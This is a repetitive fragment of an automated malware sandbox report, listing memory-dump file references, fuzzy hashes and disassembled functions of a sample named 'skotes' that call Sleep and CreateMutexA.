Associated: 00000003.00000002.1641783534.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641813334.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641859399.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641990175.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642018905.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642177300.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642200741.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642227567.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642384497.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642428666.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642463826.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642488989.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642633630.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642651646.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642674625.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642772336.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642793373.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642936578.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642960597.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642976734.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643167024.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643191651.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643226778.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a291025563d6fb03400678df5110ae9e7cb6eee03ac3ad0291381cc87eac4fcd
Instruction ID: b3d939c8e68ff026804fb2955bedf5b9fbcc15d78d68f15c527a3119c98c2159
Opcode Fuzzy Hash: a291025563d6fb03400678df5110ae9e7cb6eee03ac3ad0291381cc87eac4fcd
Instruction Fuzzy Hash: 7E317832A152018BEB18DB78ECC9BADB766EFC1314F34C619E0189B3D5D7759980CB52

Function 00979F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0097A963
CreateMutexA.KERNELBASE(00000000,00000000,009D3254), ref: 0097A981

Memory Dump Source

Source File: 00000003.00000002.1638466154.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000003.00000002.1638437343.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638466154.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638537727.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638560898.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638635202.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638748210.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638840599.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639206027.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639222979.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639246565.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639262735.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639324342.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639339932.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639361344.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639381027.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639444675.0000000000B92000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639658617.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639769632.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640428170.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640512961.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640587972.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641783534.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641813334.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641859399.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641990175.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642018905.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642177300.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642200741.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642227567.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642384497.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642428666.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642463826.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642488989.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642633630.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642651646.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642674625.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642772336.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642793373.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642936578.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642960597.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642976734.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643167024.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643191651.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643226778.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 43411f4d40f36b1e0254d45b5128f98cd80ae3a7d389e170607d1c9850becee7
Instruction ID: 5c4eb4fff65d74a80d4893ee0901cbd46fd348f2119825d4e6cf60850b87c0d1
Opcode Fuzzy Hash: 43411f4d40f36b1e0254d45b5128f98cd80ae3a7d389e170607d1c9850becee7
Instruction Fuzzy Hash: 403179327042048BEB18AB78DC89BADB766EFC6314F30C619E118DB3D1D73599808B52

Function 0097A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0097A963
CreateMutexA.KERNELBASE(00000000,00000000,009D3254), ref: 0097A981

Memory Dump Source

Source File: 00000003.00000002.1638466154.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000003.00000002.1638437343.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638466154.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638537727.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638560898.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638635202.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638748210.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638840599.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639206027.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639222979.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639246565.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639262735.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639324342.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639339932.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639361344.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639381027.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639444675.0000000000B92000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639658617.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639769632.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640428170.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640512961.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640587972.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641783534.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641813334.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641859399.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641990175.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642018905.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642177300.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642200741.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642227567.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642384497.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642428666.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642463826.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642488989.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642633630.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642651646.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642674625.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642772336.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642793373.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642936578.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642960597.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642976734.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643167024.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643191651.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643226778.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 5bfb28ca82cbbf94ec6a6a2a14ce34714dc48008177f50294b93d4177c709d77
Instruction ID: c9a1cc0eb0e75827ec8e8315065f8a28cd5e466502af8af1815bfe97a3acdd7c
Opcode Fuzzy Hash: 5bfb28ca82cbbf94ec6a6a2a14ce34714dc48008177f50294b93d4177c709d77
Instruction Fuzzy Hash: 81314632A182059BEB189B78DC89BADB766DBC2314F24C619E118973D1DB369980CB53

Function 0097A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0097A963
CreateMutexA.KERNELBASE(00000000,00000000,009D3254), ref: 0097A981

Memory Dump Source

Source File: 00000003.00000002.1638466154.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000003.00000002.1638437343.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638466154.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638537727.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638560898.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638635202.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638748210.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638840599.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639206027.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639222979.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639246565.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639262735.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639324342.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639339932.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639361344.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639381027.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639444675.0000000000B92000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639658617.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639769632.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640428170.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640512961.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640587972.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641783534.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641813334.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641859399.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641990175.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642018905.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642177300.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642200741.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642227567.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642384497.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642428666.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642463826.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642488989.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642633630.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642651646.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642674625.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642772336.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642793373.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642936578.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642960597.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642976734.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643167024.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643191651.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643226778.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8618fff8245b39bd243b8455d7fe3583889b12c0c24d886a7cfc52ad15964546
Instruction ID: 0941f0daad6a0a3e3bbf3b3f232d301af76341e9310b179705af23847c6f1390
Opcode Fuzzy Hash: 8618fff8245b39bd243b8455d7fe3583889b12c0c24d886a7cfc52ad15964546
Instruction Fuzzy Hash: A8314832A042019BFB089B78EC89B6DB766EFC6314F24C619E118973D1D73699808B12

Function 0097A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0097A963
CreateMutexA.KERNELBASE(00000000,00000000,009D3254), ref: 0097A981

Memory Dump Source

Source File: 00000003.00000002.1638466154.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000003.00000002.1638437343.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638466154.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638537727.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638560898.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638635202.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638748210.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638840599.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639206027.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639222979.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639246565.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639262735.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639324342.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639339932.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639361344.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639381027.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639444675.0000000000B92000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639658617.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639769632.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640428170.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640512961.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640587972.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641783534.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641813334.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641859399.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641990175.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642018905.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642177300.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642200741.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642227567.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642384497.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642428666.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642463826.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642488989.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642633630.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642651646.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642674625.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642772336.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642793373.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642816433.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642936578.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642960597.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1642976734.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643167024.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643191651.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1643226778.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a19b1ea97e729d44c59541be861e07099e8cb5fd970b055a405ca73e73e15ad1
Instruction ID: 69f682211ec54f7c3622a775304135aaeb925674c3eea3d34709ac545f67830e
Opcode Fuzzy Hash: a19b1ea97e729d44c59541be861e07099e8cb5fd970b055a405ca73e73e15ad1
Instruction Fuzzy Hash: C8316A32A042009BEB18AB78DC89B6DB776EFC1314F24C618E158973D5DB7699809B53

Function 0097A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0097A963
CreateMutexA.KERNELBASE(00000000,00000000,009D3254), ref: 0097A981

Memory Dump Source

Source File: 00000003.00000002.1638466154.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000003.00000002.1638437343.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638466154.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638537727.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638560898.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638635202.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638748210.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1638840599.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639206027.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639222979.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639246565.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639262735.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639281427.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639324342.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639339932.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639361344.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639381027.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639444675.0000000000B92000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639658617.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1639769632.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640428170.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640512961.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1640587972.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1641783534.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
